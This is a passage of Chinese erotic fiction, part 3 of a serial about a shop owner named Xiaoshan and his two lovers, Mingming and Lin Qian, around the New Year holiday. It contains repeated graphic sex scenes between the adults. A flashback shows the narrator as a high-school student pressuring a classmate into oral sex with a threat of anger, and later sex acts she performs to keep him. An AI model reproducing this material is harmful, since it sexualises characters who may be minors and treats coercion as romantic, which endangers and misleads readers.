图片载入中

山麓百货商店 3/4

特大字】 【大字】 【中字】 【小字

两个星期以后,我在两个女孩子的搀扶簇拥下,回到了山麓,回到了自己的家。

好象隔了一个世纪那么久,我不在的时候,两个女孩子一个看店,一个照顾我。

我也算是享尽齐人之福了吧。

“今天一定要庆祝,大难不死,必有后福!”我说。

“刚拆的线,你别再胡闹了。”明明说。

林倩在给我们削苹果。

“我神武不,连麻药都没打,堪比当年关云长啊。”

“是啊,那你现在让我捅捅伤口好不好。”

现在的我,还不敢做一丁点大的动作,第一个星期,每天被巨大的疼痛折磨着,止痛针也没少打,但是在两个女孩子面前,我不能没面子,所以,我一直都微笑的面对,在巨大的幸福面前,我满心的感激,所以,我当然要微笑面对。

“那你捅吧,让你看看什么是男人。”我笑着说。

她当然不会捅,她用手轻轻的抚摩,眼神里充满了怜意,眼睛又红了。

“别感伤了,我们都不是挺好的吗,好明明,笑一个。”

明明又看了看认真削苹果的林倩。

“可是倩妹妹……”

“我,没事没事,我可逮到机会大干一场了,好久没碰过男人了,嘿嘿。”她顽皮的笑,这一笑,把明明弄哭了,“姐姐,没事了,别哭了!”林倩的声音象个乖宝宝。

我示意林倩不要管她,女孩子遇到什么难过的事,最好是先让她哭个够,然后再采取下一步的安慰对策。

明明擦着眼泪,又摸了摸林倩的脸,这个动作换来的后果是,两个女人开始抱在一起哭。

情况好象有点复杂,我也没什么办法,我想,一切都会好起来的吧,应该是这样子。

因为我的伤,我们又把时间调回了原样,早八点到晚七点。

我身体恢复的速度特别的快,因为心情好,半个月,我就可以下地做事了。

第二十八天的时候,我感觉完全恢复了,人也胖了起来。

肚皮上的疤痕,要永远的跟着我了,也好,这样让我觉得自己还阳刚一点。

一转眼,除夕夜还有两个星期,时间过得还真快,我总害怕,第二天起床的时候,看见自己的白发。有时候我自己都觉得自己有点毛病。

这个时期,是一年里最忙碌的时候,常常货都上不到。

因为这件事,今年下手储货的时候已经晚了,被其他那几个半死不活的对手趁机捞了一小把,也行啊,没有十全十美的事,就当做善事好了,得饶人处且饶人吧。虽然并不是甘心的。

明明家里的电话一个接一个的打来,问她什么时候回去。

林倩一直和姥姥说假期在这里打工赚学费。

最后我们三个研究了一下,二十九闭店,各回各家,初四再回来。

到处洋溢着过年的气氛,来买货的熟人都在问我们打算怎么过,我们告诉他们,回家团聚呗。这个时候的人,看起来又和善又可爱。

小年那天,两个女生非要我带她们放鞭炮,我说她们是小孩子,她们说我是老头子。

我还真是好久没放过这东西了,鞭炮噼里啪啦的响,她们捂着耳朵,脸上洋溢着迷人又喜气的笑容。

又要过年了,每个人又都长了一岁,两个女孩子会变得更美丽,我也会变得更成熟,回想这一年的经历,一幕一幕的在我脑海里浮现,明明的到来,林倩的到来,山麓和我的变化和我们之间的故事。

每个笑容我都记得,每一滴眼泪我都记得,每一次缠绵我都记得,亲爱的明明,可爱的林倩,我在这里,偷偷的祝福你们………希望你们每天都这么快乐,不,是每分每秒都快乐!

“喂,都放完了,你傻站着干什么啊?”

明明的声音把我从情绪里拉了出来。

“哦,你们过瘾不?”

她们互相看了一眼说:“不过瘾,再来!”

三点多一点的时候,我们就收工了,每个人做了三个菜,白酒啤酒葡萄酒,把小饭桌摆得满满的,女孩子天生就是艺术家,要是我摆,一半的菜都摆不下。

屋子很温暖,不光是温度。

“干杯!”碰杯的声音清脆动听。

林倩站起来,说,“我提一杯。”

我们笑着看着她,把酒杯举起来。

“感谢,英俊的小山哥和美丽的明明姐对我无微不至的照顾,我非常非常开心,非常非常满足!”然后一口把杯里的酒喝光,“好辣。”她又顽皮的把舌头吐出来,小模样特可爱。

“该你了,什么大山小山的那位。”明明说。

“我是总老板李小山,当然要压轴了。”我说。

明明无奈的看着我,遇到这样的男人,该怎么办呢?

“感谢小山哥和林倩妹妹在我最困难的时候帮助我,谢谢你们,我希望,我们永远在一起!”说完也把酒一口喝干!

我和林倩开始鼓掌,与其说赞赏,还不如说起哄。

“该我说了,我就一句话,认识你们之后,我知道了,什么是幸福!”

两个女孩子看着我把酒喝完,眼神里都是感动。

大家你一杯我一杯的喝得晕晕忽忽的,刚才还是分宾主落座的席位现在却挤到了一起。

屋子的温度开始升高,两个女人开始吐气如兰,我的心和鸡巴也一起跳了起来。

明明眼睛迷离的看着我,伸手就把我的鸡巴掏了出来,含到嘴里吮吸,完全不顾及林倩的存在。林倩的眼睛冒着火焰,可是我看得出,她在强行的控制着,她倒了下去,好象是要睡去的样子。

“不知道某个人还愿不愿意过来打下手了。”她吐出鸡巴,擡头对我说,脸上挂着淫荡的笑容。

我的心剧烈的跳动着,明明啊,你要干什么?

林倩一下子坐了起来,怯怯的看着明明,眼神里的欲望,就快掉了出来。

“来吧,没关系。”明明微笑着看着她,笑容里写着鼓励。

林倩用扑的动作飞过来,先是在明明的脸上亲了一口,然后伸出舌头在我的龟头上打转,一圈一圈又一圈,我有点不知所措。

事情我已经不能控制,欲望已经吞噬了最后的理智。

两个女人象两只吃一根骨头的狗,舔吸着我的鸡巴。

明明含着鸡巴的时候,林倩就含住我的阴囊。

我有种从脚跟爽到后脑的感觉,这种只有在电视里才能看到的画面,今天,奇迹般的被我遇到了。

两个女孩子的口水把我的鸡巴、阴囊、大腿内侧、阴毛都弄得湿湿的。

我用手把两个女孩子的上衣全部脱掉。

两对雪白的乳房,以各自的节奏摇晃。

林倩的乳房硕大而饱满,明明的乳房浑圆可爱,我一只手抓住一只,狠狠的揉搓林倩,轻轻的揉搓明明,两个女人开始呻吟,这呻吟,刺激着我的神经。

强烈的快感让我迷失,我仿佛看见,在很遥远的年代以前,就有我们三个在屋中同乐的景象。

我把明明的头擡起来,和她热吻。

林倩顺着我的鸡巴往下吻,舌头掠过大腿,小腿,一直舔到每一个脚趾,明明用手套弄着我的鸡巴。

太久没有做爱了,我仿佛已经失去了调情的耐心了,我粗暴的把明明按到床上,狠狠的用鸡巴插她。明明大概也是如此,小穴把鸡巴包得紧紧的,还少有的开始迎合我的动作。林倩从后面抱住,用硕大的乳房摩擦着我的后背,一只手在自己的阴蒂上使劲的揉。

屋子里的气氛,变得淫靡不堪!

我两只手把明明的乳房弄出各种的形状,鸡巴和阴道壁激烈摩擦的快感一阵阵的麻木着脑海,明明的小穴异常的湿润,源源不断的流淌着淫水,林倩又把舌头伸进我的屁眼,舌头的搅动,差点就要了我的命,我感觉爆发在即了。

“啊……啊………啊……”明明似乎也是临界点了,她的身体颤动起来,这是她高潮的征兆。

我们几乎同时射了精,射精后的我们,紧紧的抱在了一起,林倩把被子拉过来,三个人一起躺了下来。

我放下明明,和林倩亲吻,抓她的乳房,给她口交,最后用手指把她送上了高潮,她高潮时候的表情又把我的鸡巴弄硬了。我还从来没在这么短的时间内恢复过呢,我又把鸡巴放进林倩的小穴中抽插,林倩好象也没想到,睁开眼睛看着我,眼睛里,充满着情意。

我被她的眼神感动了,这和上次在饭店里母狗发情的眼神完全是不一样的。

“倩,舒服吗?”我一边插一边问她。

“嗯……舒服……死……了………不……光……舒……服……还……幸……福……”

“哥哥……插……死……我……了……我又……要……来……了……”

我真的还没插几下呢,她又高潮了,我又掉过头去插明明,又插了不知道多久,我们谁也没射,就停止了。

三个人在被里,大口大口的唿吸,两个女人用身体把我挤在中间,四只乳房全都放到了我的胸膛上,我感觉唿吸都有一点困难了,不过,那感觉真是没法子形容了。我对自己说,男人做到这个份上,也算是没白活了。

我想抽支事后烟,可是两个胳膊被两个女人的头一人占了一个,我还很享受现在的温存,不愿意把胳膊拿走。明明好象知道我的想法,起来拿了支烟,放到我的嘴边,她把火机给了林倩,林倩感激的一笑,把我的烟点着了。

可是,新问题又来了,她们还是一人占一个胳膊,我只能完全依靠嘴了,两个女孩子看我的样子,嘿嘿的笑了。

“我们不要让他弹烟灰,看看一会落到哪里。”明明提议。

“嗯,这个主意不错哈!”

她们改变了姿势,每个人用两个胳膊挎住我一只胳膊,然后又用乳房把它压在身下。

当烟灰掉到我脸上的时候,屋子里爆发了一阵欢笑,两个女孩子举起手做出了胜利的手势,而我却在心里做了一个比她们更得意的同样的手势!

她们一个一个的睡着了,我的胳膊还嵌在她们的乳房中间。

我却怎么也睡不着,我想任何一个男人在这个时候都会无法入睡的。

这一年的小年,对我来说,简直就是个,奇迹!

我有种预感,一场激情的风暴,就在这个冬天,降临!

第四章 今年烟花特别多

二十九的时候,我们三个分别回家过年。在长途客车站,两个女生都掉了眼泪,我是抱完这个抱那个,所有的人看我的眼神都很怪异,他们打破头也想不明白我们之间的关系,连我自己都想不太通,何况是只看了一眼的路人呢?

我家比较远一些,因为要开店,父母把本市的房子给卖掉了,搬回了老家。说实话,我亏欠他们太多太多,从小到大我花钱就不少,比一般孩子可能要多很多,家境随着我的成长而越来越差。好不容易熬到我快毕业的时候,可是我却被学校开除了,没有办法,父母只好把家里所有的积蓄和房子拿了出来,搬回了亲戚比较多的我们原来住的那个小县城。

这两年,每次回家我心里都特别难过,这一段路程,在我心里怎么也走不过去。

到家的时候,父母还是老样子,让我的心稍微宽慰了一下。或许,人生下来真的是不平等的,或许,他们生我,本身就是个错误。但是他们不会埋怨,不会袖手不管,比起孩子们是否成龙成凤,他们更在乎自己的儿女是否安康幸福。看着他们一天比一天多的皱纹,我就心如刀绞,没有办法形容这种苦涩,没有办法形容。

“小山啊,听说生意特好?”老妈笑着问。

“听我说的吧,我们还欠别人钱不?”

“还欠你老姨三万六,她说不着急还。”

“你要能周转过来就赶快还人家。”爸爸说。

我点了点头,说没问题。我把这一年的经营状况给他们大致说了一说,他们已经不象第一年的时候那么上心了,他们只是告诉我:“你觉得好就可以了。”

我给老姨打了电话,拜年寒暄以后,要了一个可以寄钱的卡号,我才发现,还钱也算是一种扬眉吐气吧,从此以后,我的腰板又可以直一点点了,找回一点曾经丢失在风中的尊严。

老爸带老花镜的样子特别好玩,他的眼睛以前可是巨好的啊,他的手艺也是一样的好。一切都平淡得和过去没什么两样,话也不是很多,吃完了以后,就各自做各自的事情了。这时候,电话响了,是林倩。

“小山哥,猜猜我是谁?嘿嘿嘿。”

“你是‘淫贱’。”这个音和林倩真的还挺象,我笑着说。

那边传来咯咯的笑声,我猜她一定是龇着两只小虎牙吧。

“你真是坏死了,呵呵,你到家了吗?”

“嗯,你呢,姥姥还好吗?”

“好着呢,身体特结实,出去打麻将去了,刚学的。”

她的语气特别的开心,我微微的感动了一下,她外婆还不知道林倩的事吧,不过她可以不必知道,我会把她的外孙女照顾得很好的。

“好好陪陪姥姥吧,别惹她生气,知道吗?”

“知道啦,我会听话的,对了,小山哥。我想,我想把事实告诉她。”

“别啊,善意的谎言,她那么大岁数了,说不定还为你骄傲呢。”

“可是,可是我不想骗她,我长这么大就没骗过人,看到姥姥,我感觉话好多次都到嘴边了…………”

听了她的话,我沉默了好一会,林倩啊,我怎么总忘记,你只有二十岁啊。

“听话吧,别说了,以后的事情,交给小山哥来处理好了,嗯?”

“嗯,好吧,听你的。”她的语气已经没有开始的时候欢快了。

“你是不是忘记什么话没说了?”我笑着问。

“嘿嘿,小山哥,过年好啊!”

“林倩妹妹过年好,帮我问候姥姥。”

“嗯,那我挂线了,明天夜里再打给你。”

“好,拜拜。”

这个电话刚收线,明明的电话又来了,我看着来电显示,心里一甜,脸上却有一丝苦笑。

“李小山!我给你打电话,占线,给林倩打电话,也占线,你们是,奸夫淫妇!”她的语气超可爱,我真不知道世界上还有没有比这更可爱的语气和声音。

“是啊,我们在电话里做爱了,哈哈!”

“哎,佩服死我们的总老板了。”

“家里还好吧,有没有问起我啊?”

“好啊,问起你?妈妈连你的名字都不记得了。”她边说边笑。

“大事不妙啊,以后要好好在丈母娘前献殷勤了。”

“你可别,我妈这几天就带我相亲去了。”

“什么!你……”

“嘿嘿,开玩笑的,以后你不好好对我,我就让妈妈给我相亲,而且我们这里,打我主意的男人可以轻松平掉咱们那个小店啊。”她听到我着急的语气,显得那样的开心。

“哈,你想让我再挨刀子吗?”

“去,大过年的,不许说这种话,不过年也不可以,以后都不许说!”

听了她的话,我的心好象有股暖流漾出来,瞬间流到身体里的每一个角落。

“对了,你怎么会让林倩…………”

“这个啊,说来话多着呢,回去我们再细说好了,过年好,大色鬼,真是便宜死你了!”

“过年好,亲爱的。想你!”

“你就嘴好,哼!”她说这句话的时候,声音是那么的温柔。

“真的想你,明明,安心的过年,回去后我们继续一起努力,记得我说的话吗?”

“记得,好好的过,好好的生活……”

她沉默了,我知道她在想什么,每个人对幸福的期望都是一样的,当两个人为同一个目标努力的时候,那种幸福,就开始释放能量,足以填满所有的不幸!

收线了,我的脑海突然出现了两个女孩乳房摇动的情景,我觉得自己还真龌龊啊,男人,真的永远是两个半身结合着思考的吗?

静下来的时候,我开始回想过去所发生的一切,明明第一次来的时候那个表情,第一次做爱的时候那些呻吟,下棋的时候,吃火锅的时候…酒店里的林倩,商店里的林倩,雪地里的林倩……

她们每个人都给我这样那样的侧面和样子,我在她们心中又是什么样子呢?又有多少脸孔让她们回味呢?我们以后该是一个什么样的局面,难道我真的可以同时拥有两个女人吗?

我总觉得这样的心情有些惴惴不安,却又觉得异常的刺激,还是那句话,想不通的问题,就交给时间,time will tell…………

洗完澡之后看了会书,看看自己屋子里的小电视,诶?N年没看过电视了,把这个拿到店里怎么样,还有影碟机,都拿去,对,还有我从小就开始收集的黄书黄带黄碟,我看着这些东西发呆,这些,在我的青春期谋杀了我多少精子啊,我又看了看我的右手,心思不知不觉的飘回了那个年纪……

那时候我很害羞,看见女生就脸红,班里有个女生叫小远,姓岳,对,就是她,岳小远,长得象天使一样,我想我这辈子再也看不见那么美丽的女人,比我看到的任何一个明星都漂亮好多倍。每次放学,跟在她后面的男生足可以和古惑仔里的大场面相媲美,我是最末尾的那个。我从不敢和她说话,不敢正面看她,我只能以最隐蔽、最神秘的方法注视她,她笑起来那能量足以让我毁灭!

一天,我值日后出门,基本已经没有几个人了,我发现她和一个男生在角落里接吻。

那个男生也是我们学校着名的少女杀手,看着她红红的小脸,我的心痛得要命。

我闭着眼睛往家跑,想要忘记刚才的一切,可我忘不掉,忘不掉那刺痛感,无比的失落就象潮水,把我淹没。

她怎么会这样子?我开始鄙视她,强烈的鄙视。

我用手狠命的套弄着自己的鸡巴,脑子里想着她在我身下淫荡的表情!

“我要操死她,操死她。”一个声音来自心底。

“小山,操死我,操死我。”一个声音来自幻想。

在这样既痛苦又刺激的夹击下,我的精液射得好远,那是我有手淫记忆以来最激烈的一次。之后我就哭了,泪水也流了,精液也流了,那一刻,我分不清,到底哪个才是真的我,我分不清,是爱她,还是恨她,反正,她的影子始终挥之不去。

又过了好长一段时间,因为分文理科,她被分到了文科班,我见她的次数就少了,但是,我还是和以前一样的注视着她,没有因为见面的减少而停止。

一个星期天,那时候一周只有半天假,就是星期天的下午,我决定上街去买点参考书。

正在书店挑书的时候,有人拍了我一下肩膀。

我转过去的时候,脸刷的一下红到了脖子,这不是……她吗!

“你不会不认识我了吧,把眼睛瞪那么大干什么?”她说的、笑得都那么自然。

我的心却扑通扑通的在地震!

“我,我……来挑书,你也是吗?”我用了一生所有的力气才说出这样几个字,看着她的眼睛我就觉得头脑发昏,强烈的晕眩!

“废话,来这里不挑书干什么,我告诉你个秘密,绝对好消息!”她笑得那么的甜,至于她说什么,我根本就没听见。

“喂,你有听我说话吗?你怎么啦?”

“没,你说什么?”

她把眼睛眯成一条缝,说:“你可要有心理准备啊,我看我说出来你就完蛋了,你那么害羞!”

“什,什么……”我支吾着,想她要对我说什么呢。

“我的好朋友,江月,那个头发很长的美女,她,她看上你了,呵呵!”

她仔细的打量着我,我听到这个消息当时就有点蒙,江月是我的初中同学,很一般的女生。上高中后很少说话,连借个笔什么的交集都没有,她也和小远一样分到了文科班。

她看了我好一会,没有办法的点点头,“你还真是……木头人啊,我今天才仔细看你,突然发现,你长得也挺好看的嘛。”

就是她这样轻描淡写的一句称赞,把我从人间送上了天堂。

“这……这……”我的脸有多红我自己都能感觉到,烫得声道都在发紧。

“怎么样,你怎么想的?”

“我……不知道,我要回去了。”

我怕我不走就会有更糟糕的表现,至于江月,压根就没在我脑海里出现过。

“喂,你等一下,你等……”

我听见她在我后面喊我,我没有停,出来就是一路的狂奔,家在哪个方向我都忘记了,我满脑子都是她刚才的样子。

也不知道跑了多久,我实在跑不动了,坐在路边的水泥台上,一个人发呆。街上车来车往,人来人去,这一切,都和我无关,我在想我的天使,我们今天终于有了一次还算象样的对话,不管是为了什么,这足够我幸福好久,好久的了。

后来我接到了江月的情书,很言情的那种,什么在初中的时候我就默默的喜欢你,可是一直不敢说等等的,我就注意了其中的一句,那句是这样的:

“小远鼓励我,让我和你表白。”

我把情书其他的部分都撕掉,就留下了小远这两个字。

我又开始手淫,我开始想象小远象书上碟上那样的吃我的鸡巴,而且还很陶醉的那种表情。

“射到我嘴里,求求你,射到我嘴里。”她淫荡着哀求!

“好吧,成-全-你!”

一声大叫后,一切恢复平静,出现我眼前的,只有小远两个字!

我给江月回了信,表示可以考虑一下,我有两个目的,一个,是可以接近小远,另一个,说不定可以破掉处男之身呢。

后来我和江月真处了一段时间,我亲她的时候,总把她想象成小远。

我经常带她去录象厅看录象,在情侣座里摸她的乳房和小穴,江月总是任由我摆布,我想要做什么,她都不阻拦。有好几次出来的时候,她裤子的拉门还开着。

有一回,录象厅里放毛片被我们赶上了,江月害羞的躲在我怀里看,我的双手在她的大胸上抓个不停,在抠她下面的时候,她分泌了好多的淫水。电视里那个外国女人正在吮吸硕大的鸡巴,我抓着江月的手,让她握住我的鸡巴,她的手和身体都在颤抖。

我让她轻轻的撸,然后把舌头伸到她嘴里肆无忌惮的搅动,这刺激对一个什么都不懂的高中生来就象是一股巨大的电流,我觉得江月的意识已有点模煳了。

“你学那个女的,帮我裹好吗?”我在耳朵边上对她说。

“我,好脏啊,不要。”她一边喘息着一边说。

“求你了,要不我生气了。”

她一听我要生气,就不再拒绝了。她蹲下去,把鸡巴放在嘴里,我知道我好多天没洗澡了,而且刚才还刚撒了尿,不过她还是学着电视里那个女人,把鸡巴放在嘴里,来回的吞吐,录象厅的情侣包厢是三面封闭的,我在缝隙里还能看到别人的表情。

鸡巴在她的嘴里来来回回,速度很慢,我爽得都快短路了,没过一会,就扑哧扑哧的射精了,那种心情,我感觉就是用手指碰一下都会射的!

我听到她的咳嗽声,大概有一点呛到了。她含着我的精子不知道怎么办,仰起小脸看我。

“咽下去,吐出来会有味道,别人该知道我们做什么了。”我发现我真的挺坏!

她艰难的把精子咽了下去,表情有点茫然,她的心情大概很复杂吧。

出来没走几步,她就吐了,吐得满地都是。我把她送回了家,她一直都没说话,表情茫然的样子,看得我有一点的心痛,我知道,我根本就不爱这个女孩,那个瞬间,我觉得自己太卑鄙了。回家的时候,我洗了好长好长时间的澡,想到白天的一幕,鸡巴又硬了起来,我一边自责自己一边还想操她,心情矛盾。

后来,我开始慢慢冷落她,她哭了好几场,有几次在小树林里主动的替我口交,还大口大口的把我的精子吃下去,她说只要不离开她,什么都可以。

我的心软了,反正也快毕业了,再说,我也不想让小远知道我所做的一切。

高考结束的时候,我提出和她分手,她哭了,眼泪象决堤的水。

她说她早就知道会是这样的结果了,最后,她问了我一句:“你真的喜欢我吗?”

我该怎么回答呢?要说喜欢真还有点,只是喜欢她给我口交罢了。

我没有回答她什么,头也不回的走了,不过她哭泣的脸对我影响很大,从那天起,我发誓,再也不能这样子了,不能这样对女孩子,这样对爱情!

临走的时候,我给小远写了封情书,把我想对她说的话都写在了上面,我已经不期望得到什么了,我只想对自己的这份感情,有个交代!

她也在本省上大学,不过去了另一个城市,她没有给我回信,以后,就再也没有她的消息了。

哎,我长叹了一口气,回到了现实,手里还拿着黄书和黄碟,我想,大概每个人年轻的时候,都会等待一份爱情,葬送一段爱情,这个,或许就是青春的烙印吧!

天亮的时候,我是被鞭炮吵醒的,街上根本就没什么人,家家门口都烟雾缭绕的。我觉得索然无味,我又老了一岁了,人要是永远年轻该多好啊,我没东没西的想着,帮着老爸老妈做饭做菜,其实我也帮不上什么,三口之家过年不过是多弄几个菜而已。父母露出了久违的笑容,这时候妈妈说了一句:“小山啊,你看你也不小了,给你介绍个对象吧,怎么样?”

我突然愣了一下,然后在心里偷笑。

我说:“妈妈,儿子一起娶俩行不?”

“这孩子,妈跟你说正经的呢,象我这个年纪的人都抱孙子了。”

我心想,我难道不是和你说正经的吗?

我想了好久好久,说:“找女朋友的事就不用你老费心了。”

“是不是已经有了?”妈妈的笑容一下子堆到了眼角。

我没回答,只是神秘的笑,妈妈干等我张口,我就是不说话。

“这孩子,到底有没有?你……”

“你就别管了,孩子的事交给他自己解决吧。”老爸说。

妈妈叹着气,我感激的看了老爸一眼,老爸好象还不怎么太领情。

晚上接到了两个女生的电话,她们几乎用的一样的口吻和语气说过年没劲,想回去。

我的脑海里又出现了两对乳房摇晃的景致,晃吧,晃吧,晃吧,我比你们还想回去啊!

*** *** *** ***

一转眼,初四到了,我匆匆的和父母告了别,告诉他们,没事的话就过我那去,有住的地方。他们只是点头答应着,又千叮咛万嘱咐了说了很多,可是,我的心,早已经飞回了山麓。

“过得怎么样?”我问她。

她抱着我,双脚还来回交替着擡起一只,放下一只,弄得我东倒西歪的。

“没劲透顶啊,对了,我回去和他们下棋,全都不是我的对手啦。”

“你不是退出棋坛了吗?怎么又重出江湖了!”

“谁说的,我只是不和色狼下了而已,我怕以后生个孩子,小孩拿着一个棋子来到人世!”说完我们哈哈大笑,我们还在抱着,也不知道过了多久,谁也不愿意分开。

“对了,有个问题我一直想不通,就是……”我还没等说完。

明明的眼睛有一种洞察一切的光芒,“是不是关于林倩……”

我点了点头,我好象知道她的心意,我想在这个问题上,我和林倩都没什么大问题。

“咱们边喝边聊。”她拿了两罐啤酒,帮我起开,每个人喝了一口。

“你先回答我一个问题。”明明说。

我点头,说:“来者不拒,有问必答!”

她把头发轻轻掠到耳后,她的每一个动作都是缓慢和优美的,充满了女人的味道。

“亲爱的,你爱我吗?”她用很深的眼神望着我,那是容不下谎言的眼神!

“那还用说吗,当然爱,非常非常非常爱!”我肯定的说。

她笑着点点头,说:“这就足够了……

她喝了一口酒,脸上挂着迷人的绯红,她的动作缓慢而优美,我不觉的看呆了。

“小山,我跟你说过,是你改变了我,你还记得吗?

“嗯,我记得。

“你还记得我跟你说过表姐结婚的事吧?”

“嗯,当然,那是我们第一次分别。

“我表姐和表姐夫认识了不到半年就结婚了,是别人介绍的,你也许会说,不是很多人都是这样子吗?”

我点了点头,的确是这样,对普通人来说,并不是每个人都是为了爱情而结婚,有很多人只是为了安定罢了。

“如果我不认识你,如果我们不能相遇,大概我也会是这样子。我表姐比我大六岁,结婚的头一天晚上,她告诉我,女人到了一定的年纪还没结婚的话,就会一天比一天空虚,面对各样的问题,曾经的自己,也是千挑万选,高不成低不就的,现在,已经失去选择的权利了,至于爱情,已经不在考虑之列,只要自己不讨厌,不十分讨厌,对方物质条件过得去,就是结婚的前提,这,大概就是女人的悲哀吧。”

“怪不得中国有那么多不幸的家庭呢?”我插嘴道,我看她的样子有点儿沉重,准备调节一下气氛,她并没有理会我。

“我觉得我很幸运,真的很幸运,能遇到你,并且和你有了感情,这幸福让我不安,我觉得自己有点怪,呵呵,每天都在期待着幸福,可是幸福来了却又无所适从,我担心我们之间有问题,我想了可能出的各种各样的问题,我知道你是个善良的人,也知道你也喜欢我,可是我就是这样子,这样子不安。”

“终于有一天,你跟我说,让我们好好的过,好好的生活,这简单的一句,打消了我所有的疑虑,我开始觉得自己好傻,为什么要想那么无聊的问题呢?”

“后来,林倩来了,她是可怜的人,也很可爱,没有心机,她有着特别的历史,这一切,让我对她有种很难讲的感觉。我觉得你们发生肉体关系只是迟早的事,当我把她留下来的那一刻,我就有这个心理准备了,我小心的观察着你们,等待着这一刻的到来,我甚至想好了发生之后我怎么处理。”

“怎么处理?”我问。

她狠狠地瞪我一眼,说:“把你的鸡巴割掉。”

我知道她在开玩笑,这样正是我想看到的,我不想看她掉进情绪里出不来。

“如果真有那么一天,我想告诉你,无论你怎么样,我都爱你……”

我突然感到鼻子有点酸,眼泪在眼圈里打转。

“再后来,就发生了雪地遇险的事,这件事,让我想通了好多的事。”

“我看着你躺在病床上,心疼得要命,人生是如此的无常,我为什么还要这样子不安呢?如果那一天你没有醒,我怎么办呢?我发誓以后不再想无聊的事情了,能够和你开心的过一天就是一天,过一个小时就是一个小时,一分钟,一秒钟,哪怕只有一个瞬间!”

“还有林倩,她舍身救我,让我感动,我知道她这样做,主要的原因还是为了你,因为在她心中,也希望你爱的女人不受到伤害,她这样的想法让我觉得渺小,她的爱才是真正伟大的啊!”

“那时候,我在心里已经接受了她,虽然我很矛盾,她还是个特殊的女孩,我就这样想,就当她是我们的一个宠物好了,就是这样子了。”

明明趴在我怀里哭泣,我的眼泪也掉了下来,原来在她的心里,走了这样一段心路,每人都有苦涩,有些苦涩真的是外人很难了解的。

“喂,没分开几天就哭天抹泪的,你们不象话啊,哈……”林倩突然在这个小屋子里出现了,小脸还冻得通红。

“谁说我掉眼泪,我可是铮铮铁骨的铁汉!”我愤愤的反驳。

她过来把我的一点眼泪沾到手指上,笑着说:“难道这是精子吗?”

她的话把明明逗笑了,我把她按到床上,打她的屁股。

这么打我觉得不过瘾,我把她的裤子、毛裤、衬裤、内裤全部褪下,啪啪地打着还有点凉的雪白的大屁股!

“哥哥别打了,哥哥饶命啊………”林倩发浪似的求饶,惹得明明捂着嘴大笑,刚才还沉重的气氛一下子轻松起来。

林倩的阴户已经完全的暴露出来,上面居然隐隐的有了点蜜液。

我伸出舌头,拔开外阴,直奔小穴。

“啊……好舒服……小……山……哥哥……舒服…………”

她的屄开始分泌大量的淫水,顺着我的舌头流到我的嘴里,她真是何时何地都容易兴奋的类型。明明的脸有点微红,笑着看我们的动作。

我把手指插了进去,由轻到重的摩擦着她湿滑的阴道壁。

“啊……哥……我……好……插……我……吧……我……要……鸡巴……”她的屁股摇晃着配合着我手指的频率。

“哼,想要鸡巴?没那么便宜!明明,拿根火腿肠来,要粗点的!”我笑着说,明明瞪大了眼睛。

“什么……火腿肠?你……”

林倩也笑了,但是居然还催了明明一句:“姐姐……快……去……吧………要……粗……的…………”

明明被弄得没着没落的,说了一句:“真是服了你们了。”就拿了一根中等的火腿,但是这个还是比我的鸡巴大了不少。

我把皮扒掉,用火腿在她的屄外边摩擦,用她分泌的爱液把火腿打湿。

“插……啊……插进去!”她亢奋的大叫。

我一点一点的插了进去,明明的眼睛充满不解的看着,看着火腿肠被林倩的屄慢慢的吞没。

“啊……好……充实…………”

我开始抽插,速度越来越快!

“啊……啊……爽……用力……插……插……我…………”没一会,她大声的嚎叫!

“我……要……去……了……去……了……”她在火腿肠的攻击下达到了高潮,我把火腿肠拔出来,上面满满的都是她的分泌物,我的鸡巴胀得厉害。

我要明明过来,她听话的过来了,我摸她的屄的时候,发现也已经很湿了,我笑着看她,她把我的鸡巴放在手上套弄几下,把我按到床上,坐了上来。

林倩喘了一会,过来把着我的鸡巴对准明明的小穴,很容易的进去了。

明明闭上眼睛,忘情的动了起来,林倩扶着她,帮她用力。

我伸手抓住了明明的乳房,明明也叫了起来,只不过她只是啊个不停。她做爱的时候很少说话,不象林倩那样,懂得如何刺激男人,不过她温热的小穴已经够让我爽了。

我配合着她的动作,不一会,我就射了,我的精子射进她的子宫内,她也被打得达到了高潮,慢慢的,在我们的交合处,好多液体流了下来。

我满足的躺在床上,明明趴在我的身上喘息。休息了一阵,我先洗了澡,她们两个后洗的,本来想一起洗的,但是厕所太小了。

我出来的时候看到了那根还在发着亮光的火腿,我灵机一动,去厨房做了个火腿炒鸡蛋,又做了两个小菜,她们出来的时候,饭菜也已经准备好了。

明明过来用手抓了一块火腿吃到嘴里,边吃边说:“行啊,勤劳的人值得鼓励!”她边吃边看着四周,突然眼神里露出了惊恐的表情。

“刚才那根火腿肠呢……”她问。

“哪根啊?”

“就是和林倩妹妹…………”

我指了指盘子,笑着说:“你现在吃的那个就是啊,怎么了?”

明明愤怒的大喊了一声:“变态。”然后拳头像雨点一样飞来。

那盘菜,她再也没动一口!!

*** *** *** ***

初六的时候,朋友把电视和影碟机捎了过来,两个女孩欢天喜地的赶紧把电视支上了。

可是,新东西带来的惊喜远没有麻烦多,明明喜欢看买办之家,林倩喜欢看背叛爱情(人鱼小姐),我喜欢看欧洲足球联赛,大家研究后决定,她们每个人看一集,我可以在结束的时候听一下比分。

白天的时候,我们想想都觉得好玩,一天就那么点空闲时间,还要抢来抢去的,我说:“再不,把电视放外面吧。”

她们说:“你如果不嫌寒碜你就放吧。”

我想想也是,过一段时间不行的话就买个大的,反正现在有钱。

慢慢的,所有的邻居陆续的回归,一切又恢复了往日的样子,以老张、赵梦为首的熟客们又开始在店里出没。每个人都好象胖了好多,精神也不错,看来过年还是有点好处的。也有打麻将打得脸变色儿的,有的是输变色的,有的是累得变色,芸芸众生,都以一个新的脸谱迎接着新的一年。

晚上睡觉的时候还是我在中间,三个人睡在一张床上倒有两个不觉得挤,因为我单薄的身体还承担着一部分原本属于床的任务。

明明睡得还算老实,林倩却总是变换着各样的姿势。

每天起来,我都要拎着两个麻掉的胳膊下床,不过我是起来得最晚的,起来的时候基本什么都不用做,当然她们也不会让我比她们晚起多久的,女孩子叫人起床的花样比做爱的方式多得多。

如果觉得电视无聊,我们还可以打打牌,只不过,无论玩什么我都没赢过,因为根本就没有什么规则,规则都是她们定,不管我抓什么,都是大烂牌!

新的一年,我们三个研究了一下,决定应该扩大一下规模,所以外面又加了一个货架,本来尚算宽敞的大厅一下子也显得拥挤了。

我们唯一的共同嗜好就是关门的时候数钱,明明数十块以上的,林倩数一块到十块的纸币,我数硬币。硬币清脆的响声和纸币刷刷的响声都很动听,钱这个东西虽然买不来幸福,却是幸福的基础!

